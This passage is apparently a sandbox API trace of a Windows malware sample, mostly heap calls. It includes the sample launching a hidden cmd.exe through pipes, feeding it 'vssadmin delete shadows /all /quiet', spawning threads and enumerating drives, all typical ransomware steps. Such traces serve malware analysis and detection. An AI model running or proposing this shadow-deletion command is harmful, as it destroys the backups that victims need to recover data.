| out: hHeap=0x570000) returned 1 [0167.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.941] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x584718 [0167.941] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584718, Size=0x40) returned 0x5a8600 [0167.941] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a8600, Size=0x80) returned 0x5ea8b0 [0167.942] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.942] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x584718 [0167.942] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1fffc) returned 0x5aa878 [0167.942] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x5ca880 [0167.942] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x5da888 [0167.942] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.942] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x584740 [0167.942] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584740, Size=0x40) returned 0x5a8600 [0167.942] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a8600, Size=0x80) returned 0x5ea938 [0167.942] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea938, Size=0x100) returned 0x5a6fa0 [0167.942] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0167.942] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a6fa0 | out: hHeap=0x570000) returned 1 [0167.942] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x5ca880, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0167.942] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5da888 | out: hHeap=0x570000) returned 1 [0167.942] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ca880 | out: hHeap=0x570000) returned 1 [0167.942] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0167.942] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0167.943] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0167.943] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0167.943] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x4f4, dwThreadId=0x4d4)) returned 1 [0167.967] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0167.967] WriteFile (in: hFile=0xec, lpBuffer=0x5ea8b0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x5ea8b0*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0167.967] CloseHandle (hObject=0xfc) returned 1 [0167.967] CloseHandle (hObject=0xf8) returned 1 [0167.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa878 | out: hHeap=0x570000) returned 1 [0167.967] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0167.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ea8b0 | out: hHeap=0x570000) returned 1 [0167.967] lstrlenW (lpString="%comspec%") returned 9 [0167.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584718 | out: hHeap=0x570000) returned 1 [0167.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0167.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5a4f08 [0167.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5a4f08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0167.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5a55a8 [0167.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5a55a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0167.969] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f20 [0167.969] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f20, Size=0x20) returned 0x584718 [0167.969] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584718, Size=0x40) returned 0x5a8600 [0167.969] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0167.969] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5a6fa0 [0167.969] GetLogicalDrives () returned 0x4 [0167.969] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10014) returned 0x5aa878 [0167.969] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f20 [0167.969] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f20, Size=0x20) returned 0x584718 [0167.969] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584718, Size=0x40) returned 0x5a86d8 [0167.969] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a86d8, Size=0x80) returned 0x5ea8b0 [0167.970] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea8b0, Size=0x100) returned 0x5ec898 [0167.970] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ec898, Size=0x200) returned 0x5a95e8 [0167.970] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a95e8, Size=0x400) returned 0x5ecc88 [0167.970] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ecc88, Size=0x800) returned 0x5ecc88 [0167.970] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ecc88, Size=0x1000) returned 0x5ecc88 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x5ba898 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f20 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5a4ff8 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x5a55b8 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5a5010 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x584c90 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a5028 [0167.970] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584c90, Size=0x8) returned 0x584c90 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a5040 [0167.970] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584c90, Size=0x10) returned 0x584c90 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a5058 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a5070 [0167.970] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584c90, Size=0x20) returned 0x5a6ea0 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a5088 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x584c90 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe) returned 0x5a50a0 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe) returned 0x5a50b8 [0167.970] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a6ea0, Size=0x40) returned 0x5a5668 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe) returned 0x5a50d0 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe) returned 0x5a50e8 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe) returned 0x5a5100 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe) returned 0x5a5118 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a5130 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a5148 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x584ca0 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a5160 [0167.970] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5668, Size=0x80) returned 0x5a7078 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a5178 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a5190 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a51a8 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a51c0 [0167.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edca8 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5edcc0 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edcd8 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5a6ea0 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edcf0 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edd08 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5edd20 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edd38 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5edd50 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edd68 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5edd80 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edd98 [0167.971] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a7078, Size=0x100) returned 0x5ec898 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eddb0 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eddc8 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edde0 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5eddf8 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ede10 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ede28 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5a6eb0 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ede40 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ede58 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ede70 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x5a6ec0 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ede88 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edea0 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5a5668 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edeb8 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eded0 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5edee8 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edf00 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edf18 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edf30 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe) returned 0x5edf48 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edf60 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5edf78 [0167.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edf90 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edfa8 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edfc0 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edfd8 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5a5678 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5edff0 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee008 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee020 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee038 [0167.972] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ec898, Size=0x200) returned 0x5a95e8 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee050 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5a97f0 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee068 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee0a8 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee0c0 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee0d8 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee0f0 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee108 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee120 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee138 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee150 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee168 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee180 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee198 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee1b0 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee1c8 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee1e0 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee1f8 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee210 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee228 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee240 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee258 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee270 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5a9800 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee288 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee2a0 [0167.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee2b8 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5ee4a8 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee2d0 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee2e8 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee300 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee318 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee330 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee348 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee360 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee378 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee390 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee3a8 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee3c0 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee3d8 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee3f0 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee408 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee420 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee438 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee450 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee468 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee8a8 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee8c0 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee8d8 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5ee4b8 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x5ee4c8 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee8f0 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee908 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee920 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee938 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee950 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee968 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee980 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee998 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee9b0 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee9c8 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5ee9e0 [0167.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5ee9f8 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eea10 [0167.974] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a95e8, Size=0x400) returned 0x5ca8a0 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eea28 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eea40 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5eea58 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eea70 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eea88 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eeaa0 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5eeab8 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eead0 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eeae8 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eeb00 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5ee4d8 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eeb18 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5eeb30 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eeb48 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eeb60 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eeb78 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eeb90 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe) returned 0x5eeba8 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eebc0 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eebd8 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eebf0 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eec08 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eec20 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eec38 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eec50 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5eec68 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5ee4e8 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cacc0 [0167.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cacd8 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cacf0 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cad08 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cad20 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cad38 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cad50 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cad68 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cad80 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe) returned 0x5cad98 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cadb0 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe) returned 0x5cadc8 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cade0 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cadf8 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cae10 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cae28 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cae40 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5cae58 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cae70 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cae88 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caea0 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caeb8 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caed0 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caee8 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caf00 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caf18 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caf30 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caf48 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caf60 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caf78 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caf90 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cafa8 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 